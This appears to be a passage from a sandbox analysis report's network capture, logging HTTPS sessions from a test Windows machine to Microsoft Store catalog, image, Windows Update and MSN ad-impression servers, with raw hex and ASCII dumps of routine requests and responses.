74 61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 
6e 54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 37 30 34 
Data Ascii: 7040526336,\"content.isMain\":false,\"content.packageId\":\"6F71D7A7.HotspotShieldFreeVPN_2.10.5.7
0_x86__nsbqstbb9qxb6\",\"content.productId\":\"9d0d0cf5-f22b-4761-abee-f70f804b70ab\",\"content.targetPlatforms\":[{\"pl
atform.maxVersionTested\":28147509704

2022-05-13 14:43:05 UTC 11078 IN Data Raw: 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 
3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 
61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 
7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 
22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 7
9 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 
3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 
Data Ascii: \":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"
level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":
68,\"sy

2022-05-13 14:43:05 UTC 11082 IN Data Raw: 33 35 34 5a 22 2c 22 4d 61 72 6b 65 74 73 22 3a 5b 22 55 53 22 5d 2c 22 4f 72 64 65 72 4d 61 6e 61 67 65 6d 
65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 
50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 
72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 
54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 
7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 31 22 2c 22 44 69 73 70 6c 
61 79 52 61 6e 6b 22 3a 31 2c 22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 
Data Ascii: 354Z","Markets":["US"],"OrderManagementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":
"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":
"0011","DisplayRank":1,"RemediationRe

2022-05-13 14:43:05 UTC 11082 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

14 192.168.2.3 49716 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:59 UTC 180 OUT GET /image/apps.616.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.d81cfd95-c9fd-48e0-8fc3-3
6ff7b9e590a?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:59 UTC 180 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 8756
Content-Type: image/png
Last-Modified: Tue, 31 Mar 2020 18:42:50 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTBFMkI5NzY"
MS-CV: LWC80YNOokeu7YAI.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:59 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:59 UTC 181 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
21 fb 49 44 41 54 78 da ed 9d 09 98 54 d5 99 bf bf 5a 7a 83 86 6e a0 51 76 94 55 1b d9 dd 45 23 46 8d 26 c4 a0 13 5c 
92 19 93 49 1c 9e ff df 99 c9 18 9d 24 2e 20 9a a8 33 79 cc 38 06 93 41 27 13 63 34 71 66 e2 02 ca 62 02 24 51 13 83 2c 
51 49 a2 a0 60 b3 08 08 0d d2 0d bd 56 75 f7 bd 53 55 5d 55 7d ea de 73 ee bd d5 dd 60 03 ef 3b cf 49 57 df a2 0a ba 93 
7a e7 fb 7e f7 bb e7 86 05 00 e0 18 21 cc af 00 00 10 16 00 00 c2 02 00 84 05 00 80 b0 00 00 10 16 00 20 2c 00 00 84 05 
00 80 b0 00 00 61 01 00 20 2c 00 00 84 05 00 08 0b 00 00 61 01 00 20 2c 00 40 58 00 00 08 0b 00 00 61 01 00 c2 02 00 
40 58 00 00 08 0b 00 10 16 00 00 c2 02 00 40 58 00 80 b0 00 00 10 
Data Ascii: PNGIHDR,,y}u!IDATxTZznQvUE#F&\I$. 3y8A'c4qfb$Q,QI`VuSU]U}s`;IWz~! ,a ,a ,@Xa@X@X

Session ID Source IP Source Port Destination IP
Destination
Port

Process

140 192.168.2.3 49967 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:05 UTC 11082 OUT POST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 1522
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache

2022-05-13 14:43:05 UTC 11082 OUT Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 
30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 34 37 35 36 36 38 31 36 39 26 50 47 3d 50 43 30 30 30 50 
30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 
38 32 38 32 34 34 35 39 32 36 41 35 34 45 41 42 38 46 31 31 34 39 39 41 39 33 43 38 44 31 44 45 26 41 53 49 44 3d 32 
33 35 39 65 34 37 33 36 33 35 33 34 33 65 32 38 35 66 61 37 30 65 34 36 34 36 35 36 38 65 62 26 54 49 4d 45 3d 32 30 
32 32 30 35 31 33 54 32 33 34 32 33 34 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 35 31 33 54 31 34 34 
31 35 35 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 44 42 44 
Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=475668169&PG=PC000P0FR5
.0000000IRT&TPID=400091688&REQASID=8282445926A54EAB8F11499A93C8D1DE&ASID=2359e473635343e28
5fa70e4646568eb&TIME=20220513T234234Z&SLOT=1&REQT=20220513T144155&MA_Score=2&PERSID=DBD

2022-05-13 14:43:05 UTC 11084 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: []
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 13 May 2022 14:43:04 GMT
Connection: close
Content-Length: 0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

141 192.168.2.3 49968 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:43:05 UTC 11084 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:05 UTC 11085 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: bdb78c2c-1541-4039-b8dc-29db512604fd
MS-RequestId: bdbf7922-cf6a-43d2-90dd-4a8d6160d2c8
MS-CV: EtDf2OjGy0y322ST.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:05 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:05 UTC 11085 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:05 UTC 11101 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:05 UTC 11117 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

142 192.168.2.3 49969 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:06 UTC 11120 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:06 UTC 11121 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: 198c0671-788e-4b5b-8e5b-9c71a89635d7
MS-RequestId: b3aac6a7-fa95-4413-ba5f-2da3d3d32b3c
MS-CV: CQ0i1bUaW0SsMPhZ.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:06 GMT
Connection: close
Content-Length: 35877
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2022-05-13 14:43:06 UTC 11122 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:06 UTC 11137 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:06 UTC 11153 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

143 192.168.2.3 49970 40.112.88.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:06 UTC 11121 OUT GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKT
OP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700
129702&AN=475668169&PG=PC000P0FR5.0000000IRT&REQASID=8282445926A54EAB8F11499A93C8D1DE&UNID
=338388&ASID=2359e473635343e285fa70e4646568eb&PERSID=DBDE13DC697F71846A990CDFDC016FBD&GLOB
ALDEVICEID=6755432004667435&LOCALID=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&DS_EVTID=8a834b
bf089348c1b3bfe0d1c305e09e&DEVOSVER=10.0.17134.1&REQT=20220513T144155&TIME=20220513T234233
Z&ARCRAS=&CLR=CDM HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Host: ris.api.iris.microsoft.com
Connection: Keep-Alive

2022-05-13 14:43:06 UTC 11121 IN HTTP/1.1 204 No Content
Content-Length: 0
Server: Microsoft-HTTPAPI/2.0
request-id: bbf022e2-1b69-416f-93d5-d8e6040a7171
Date: Fri, 13 May 2022 14:43:05 GMT
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

144 192.168.2.3 49971 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:07 UTC 11157 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Disney.37853FC22B2CE_6rarf9sa4v8jt&mar
ket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: OYIAGZ3Ba0yxtazQ.0.2.4
Host: displaycatalog.mp.microsoft.com
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2022-05-13 14:43:07 UTC 11157 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 13 May 2022 14:43:07 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: e4be05e7-2ade-4d37-9bc6-12cb4a2f73e7
MS-RequestId: f8432521-0509-480c-9c65-b657c2c0f081
MS-CV: OYIAGZ3Ba0yxtazQ.0.2.4.888071463.0.1.888071463.1605950211.0
X-Content-Type-Options: nosniff
MS-ServerId: 5
Region: neu
Node: aks-bigcatrpns-32351330-vmss00002z
MS-DocumentVersions: 9NXQXXLFST89|2020

2022-05-13 14:43:07 UTC 11158 IN Data Raw: 66 62 35 66 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 35 2d 31 32 54 32 30 3a 30 35 3a 31 37 2e 31 30 34 34 36 36 
31 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 37 32 30 33 32 38 30 38 33 34 35 
34 34 37 30 33 31 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: fb5f{"BigIds":["9NXQXXLFST89"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-05-12T20
:05:17.1044661Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3072032808345447031","EISListingIdentifier
":null,"BackgroundColor":"transpare

2022-05-13 14:43:07 UTC 11161 IN Data Raw: 35 33 31 31 38 34 37 31 32 34 31 37 30 2e 65 38 39 61 34 64 63 65 2d 66 64 39 61 2d 34 61 31 30 2d 62 38 
65 34 2d 61 36 63 33 61 61 31 63 30 35 35 65 2e 31 33 35 32 66 66 62 62 2d 36 65 36 61 2d 34 30 38 37 2d 38 39 34 32 
2d 36 33 66 31 39 35 62 33 34 32 38 66 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 
30 34 33 30 34 35 30 34 30 30 33 38 35 38 35 39 37 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 
65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 
2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 30 32 34 2c 22 46 
6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 
Data Ascii: 5311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.1352ffbb-6e6a-4087-8942-63f195b3428f"
,"Width":66},{"FileId":"3043045040038585973","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","F
ileSizeInBytes":6024,"ForegroundColor":"","Heig

2022-05-13 14:43:07 UTC 11165 IN Data Raw: 31 35 38 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 
61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 
22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 39 35 34 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 
6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 
3a 22 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 
65 53 48 41 32 35 36 48 61 73 68 22 3a 22 33 38 30 6c 77 36 43 53 43 31 58 33 69 45 42 72 4c 4e 75 71 66 68 35 2b 4c 
63 41 43 74 2f 70 37 46 72 42 52 46 79 77 65 76 70 38 3d 22 2c 22 
Data Ascii: 158","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":79541,"Foreg
roundColor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"380lw6CSC1
X3iEBrLNuqfh5+LcACt/p7FrBRFywevp8=","

2022-05-13 14:43:07 UTC 11169 IN Data Raw: 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 
65 49 6e 42 79 74 65 73 22 3a 31 39 30 33 35 39 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 
48 65 69 67 68 74 22 3a 31 30 38 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 44 65 73 6b 74 6f 
70 2f 35 22 2c 22 49 6d 61 67 65 50 75 72 70 6f 73 65 22 3a 22 53 63 72 65 65 6e 73 68 6f 74 22 2c 22 55 6e 73 63 61 6c 
65 64 49 6d 61 67 65 53 48 41 32 35 36 48 61 73 68 22 3a 22 54 4d 70 39 37 77 6b 63 53 51 6c 45 33 43 78 68 34 71 73 
4c 61 42 46 62 62 42 4b 4e 48 41 32 48 39 36 4e 6f 6a 4b 6a 2f 30 7a 34 3d 22 2c 22 55 72 69 22 3a 22 2f 2f 73 74 6f 72 
65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 
Data Ascii: "transparent","Caption":"","FileSizeInBytes":1903595,"ForegroundColor":"","Height":1080,"ImagePositionInfo":
"Desktop/5","ImagePurpose":"Screenshot","UnscaledImageSHA256Hash":"TMp97wkcSQlE3Cxh4qsLaBFbbBKNHA2H9
6NojKj/0z4=","Uri":"//store-images.s-microsoft.

2022-05-13 14:43:07 UTC 11173 IN Data Raw: 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 
22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 
79 74 65 73 22 3a 33 30 35 37 31 39 35 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 
